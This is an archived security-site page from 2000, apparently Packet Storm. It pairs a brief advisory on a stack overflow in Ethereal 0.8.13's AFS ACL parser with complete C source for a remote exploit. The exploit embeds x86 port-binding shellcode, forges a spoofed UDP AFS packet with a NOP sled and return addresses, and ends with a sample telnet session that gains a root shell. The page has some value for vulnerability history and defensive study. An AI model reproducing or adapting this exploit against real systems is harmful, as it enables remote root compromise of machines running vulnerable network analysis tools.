what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sbo_ethereal.c

sbo_ethereal.c
Posted Nov 19, 2000
Authored by JW Oh | Site hacksware.com

Ethereal v0.8.13 advisory and remote exploit for Linux x86. A stack overflow in the AFS packet parsing routine allows a spoofed packet to start a root shell bound to TCP port 36864.

tags | exploit, remote, overflow, shell, x86, root, spoof, tcp
systems | linux
SHA-256 | 5849011e1fbedaeca9f6469317a94d0d5df77b160e51dc2cfaf731ba6fdbc8e5

sbo_ethereal.c

Change Mirror Download
   Bug Report

1. Name: Ethereal 0.8.13 AFS ACL parsing buffer overflow bug
2. Release Date: 2000.11.18
3. Affected Application:
Ethereal 0.8.13(latest version)
http://www.ethereal.com/
ethereal-web@ethereal.com
4. Author: mat@hacksware.com
5. Type: Stack based buffer overflow
6. Explanation

There exists buffer overflow in AFS packet parsing routine in ethereal 0.8.13.

In function dissect_acl,

packet-afs.c:1185
char user[128];

packet-afs.c:1222
for (i = 0; i < pos; i++) {
if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2)
return;
s += n;
ACLOUT(user,1,acl,n);
curoffset += n;
TRUNC(1);
}

for (i = 0; i < neg; i++) {
if (sscanf((char *) s, "%s %d %n", user, &acl, &n) != 2)
return;
s += n;
ACLOUT(user,0,acl,n);
curoffset += n;
if (s > end)
return;
}

Buffer user can be overflowed with forged packet.

7. Exploits

/*
Name: Ethereal 0.8.13 AFS ACL buffer overflow exploit
Author:
http://hacksware.com
mat@hacksware.com
gcc -o sbo_ethereal sbo_ethereal.c
Usage:
./sbo_ethereal <dest_addr>
dest_addr is the destination address of the host which traffic the victim host running ethereal program can monitor.

Greetz to: Mastrippolito,Trino,s3ung,gumpjin,w00we_mc2,jgotts,luciano,etc...

I used some network codes from synk4.c.
*/

#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>

/*shell code from http://www.hack.co.za/c0de/linux-x86/portshell.c*/
/* port binding shell on 36864*/

/*
* Linux/x86
* TCP/36864 portshell (old, could be optimized further)
*/

char c0de[] =
/* main: */
"\xeb\x72" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */

/* socket() */
"\x29\xc0" /* subl %eax, %eax */
"\x89\x46\x10" /* movl %eax, 0x10(%esi) */
"\x40" /* incl %eax */
"\x89\xc3" /* movl %eax, %ebx */
"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
"\x40" /* incl %eax */
"\x89\x46\x08" /* movl %eax, 0x08(%esi) */
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */

/* bind() */
"\x43" /* incl %ebx */
"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */
"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */
"\x88\x46\x08" /* movb %al, 0x08(%esi) */
"\x29\xc0" /* subl %eax, %eax */
"\x89\xc2" /* movl %eax, %edx */
"\x89\x46\x18" /* movl %eax, 0x18(%esi) */
"\xb0\x90" /* movb $0x90, %al */
"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */
"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */
"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */
"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */

/* listen() */
"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */
"\x43" /* incl %ebx */
"\x43" /* incl %ebx */
"\xb0\x66" /* movb $0x66, %al */
"\xcd\x80" /* int $0x80 */

/* accept() */
"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */
"\x89\x56\x10" /* movl %edx, 0x10(%esi) */
"\xb0\x66" /* movb $0x66, %al */
"\x43" /* incl %ebx */
"\xcd\x80" /* int $0x80 */

/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3" /* xchgb %al, %bl */
"\xb0\x3f" /* movb $0x3f, %al */
"\x29\xc9" /* subl %ecx, %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */
"\xb0\x3f" /* movb $0x3f, %al */
"\x41" /* incl %ecx */
"\xcd\x80" /* int $0x80 */

/* execve() */
"\x88\x56\x07" /* movb %dl, 0x07(%esi) */
"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */
"\x87\xf3" /* xchgl %esi, %ebx */
"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */
"\xb0\x0b" /* movb $0x0b, %al */
"\xcd\x80" /* int $0x80 */

/* callz: */
"\xe8\x89\xff\xff\xff" /* call start */
"/bin/sh";

/* www.hack.co.za [7 August 2000]*/
unsigned long getaddr (char *name)
{
struct hostent *hep;

hep = gethostbyname (name);
if (!hep)
{
fprintf (stderr, "Unknown host %s\n", name);
exit (1);
}
return *(unsigned long *) hep->h_addr;
}

unsigned short
ip_sum (u_short * addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}

void send_udp_segment (int raw_socket,struct iphdr *iphdr_p, struct udphdr *udphdr_p, char *data, int dlen)
{
char buf[65536];
struct
{ /* rfc 793 udp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short udpl;
}
ph;

struct sockaddr_in sin;

ph.saddr = iphdr_p->saddr;
ph.daddr = iphdr_p->daddr;
ph.mbz = 0;
ph.ptcl = IPPROTO_TCP;
ph.udpl = htons (sizeof (*udphdr_p) + dlen);

memcpy (buf, &ph, sizeof (ph));
memcpy (buf + sizeof (ph), udphdr_p, sizeof (*udphdr_p));
memcpy (buf + sizeof (ph) + sizeof (*udphdr_p), data, dlen);
memset (buf + sizeof (ph) + sizeof (*udphdr_p) + dlen, 0, 4);
udphdr_p->check = ip_sum (buf, (sizeof (ph) + sizeof (*udphdr_p) + dlen + 1) & ~1);

memcpy (buf, iphdr_p,4*iphdr_p->ihl);
memcpy (buf + 4 * iphdr_p->ihl, udphdr_p, sizeof (*udphdr_p));
memcpy (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p), data, dlen);
memset (buf + 4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen, 0, 4);

iphdr_p->check = ip_sum (buf, (4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen + 1) & ~1);
memcpy (buf, iphdr_p, 4 * iphdr_p->ihl);

sin.sin_family = AF_INET;
sin.sin_port = udphdr_p->dest;
sin.sin_addr.s_addr = iphdr_p->daddr;

if (sendto(raw_socket, buf, 4 * iphdr_p->ihl + sizeof (*udphdr_p) + dlen, 0, &sin,sizeof (sin)) < 0)
{
printf ("Error sending syn packet.\n");
perror ("");
exit (1);
}
}

unsigned long
send_udp_afs_data (int raw_socket,unsigned long src_addr, unsigned short src_port,
unsigned long dst_addr, unsigned short dst_port)
{
struct iphdr iphdr_d;
struct udphdr udphdr_d;

typedef unsigned int guint32;
typedef unsigned short guint16;
/*header from ethereal*/
struct rx_header {
guint32 epoch;
guint32 cid;
guint32 callNumber;
guint32 seq;
guint32 serial;
u_char type;
#define RX_PACKET_TYPE_DATA 1
#define RX_PACKET_TYPE_ACK 2
#define RX_PACKET_TYPE_BUSY 3
#define RX_PACKET_TYPE_ABORT 4
#define RX_PACKET_TYPE_ACKALL 5
#define RX_PACKET_TYPE_CHALLENGE 6
#define RX_PACKET_TYPE_RESPONSE 7
#define RX_PACKET_TYPE_DEBUG 8
#define RX_PACKET_TYPE_PARAMS 9
#define RX_PACKET_TYPE_VERSION 13
u_char flags;
#define RX_CLIENT_INITIATED 1
#define RX_REQUEST_ACK 2
#define RX_LAST_PACKET 4
#define RX_MORE_PACKETS 8
#define RX_FREE_PACKET 16
u_char userStatus;
u_char securityIndex;
guint16 spare; /* How clever: even though the AFS */
guint16 serviceId; /* header files indicate that the */
}; /* serviceId is first, it's really */
/* encoded _after_ the spare field */
/* I wasted a day figuring that out! */
struct rx_header rx_header_d;
int afs_data_len;
char *afs_data;
int data_len;
char *data_buffer;


iphdr_d.version = 4;
iphdr_d.ihl = 5;
iphdr_d.tos = 0;
iphdr_d.tot_len = sizeof (iphdr_d)+sizeof(udphdr_d);
iphdr_d.id = htons(545);
iphdr_d.frag_off = 0;
iphdr_d.ttl = 90;
iphdr_d.protocol = IPPROTO_UDP;
iphdr_d.check = 0;
iphdr_d.saddr = src_addr;
iphdr_d.daddr = dst_addr;

udphdr_d.source = htons (src_port);
udphdr_d.dest = htons (dst_port);
udphdr_d.len = 2;
udphdr_d.check = 0;

rx_header_d.epoch=htonl(0);
rx_header_d.cid=htonl(1);
rx_header_d.callNumber=htonl(2);
rx_header_d.seq=htonl(3);
rx_header_d.serial=htonl(4);

rx_header_d.type=RX_PACKET_TYPE_DATA;
rx_header_d.flags=RX_CLIENT_INITIATED;
rx_header_d.userStatus=6;
rx_header_d.securityIndex=7;
rx_header_d.spare=htons(8);
rx_header_d.serviceId=htons(9);

{
#define DATA_SIZE 600 //Data portion size
u_long datasize=htonl(DATA_SIZE);
afs_data_len=4*5+DATA_SIZE;
/*
UINT opcode
UINT volume
UINT vnode
UINT uniqifier
UINT datasize

data section
pos(%d) neg (%d)
pos times*( user(%s), &acl(%d))
neg times*( user(%s), &acl(%d))
*/

afs_data=(char *)calloc(1,afs_data_len);
if(afs_data)
{
u_long opcode=htonl(134);
int i;
int cur_pos;
#define CODE_LEN 300
char code_buf[CODE_LEN];
unsigned long esp=0x81c6f02;
#define RET_ADDR_POS 150
int offset=RET_ADDR_POS+20;

for(i=0;i<=RET_ADDR_POS;i+=4)
*(long *)&code_buf[i]=(unsigned long)esp+offset;
memset(code_buf+RET_ADDR_POS,0x90,CODE_LEN-RET_ADDR_POS); //insert NOP CODES
memcpy(code_buf+CODE_LEN-strlen(c0de),c0de,strlen(c0de));

memcpy(afs_data,(char *)&opcode,sizeof(u_long));
memcpy(afs_data+4*4,(char *)&datasize,sizeof(u_long));
sprintf(afs_data+4*5,"%d %d %s %d",1,1,"hi",1);

cur_pos=4*5+strlen(afs_data+4*5);
memcpy(afs_data+cur_pos,code_buf,CODE_LEN);
sprintf(afs_data+cur_pos+CODE_LEN," %d",1);

data_len=sizeof(struct rx_header)+afs_data_len;
data_buffer=(char *)calloc(1,data_len);
if(data_buffer)
{
memcpy(data_buffer,(char *)&rx_header_d,sizeof(struct rx_header));
memcpy(data_buffer+sizeof(struct rx_header),afs_data,afs_data_len);
send_udp_segment (raw_socket,&iphdr_d,&udphdr_d,data_buffer,data_len);
free(data_buffer);
}
free(afs_data);
}
}
}

main (int argc, char **argv)
{
u_short src_port, dst_port;
unsigned long src_addr, dst_addr;
int raw_socket;

if(argc<2)
{
printf("%s dst_addr\n",argv[0]);
fflush(stdout);
exit(1);
}
src_addr = getaddr ("1.1.1.1");
dst_addr = getaddr (argv[1]);
src_port = 10;
dst_port = 7000;

raw_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW);
if (raw_socket < 0)
{
perror ("socket (raw)");
exit (1);
}

send_udp_afs_data (raw_socket,src_addr, src_port, dst_addr, dst_port);
}

/*
If the attack was successful you can get in the system like this.
matt:~# telnet victim 36864
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
id;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)


*/

=================================================
| mat@hacksware.com |
| http://hacksware.com |
=================================================


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close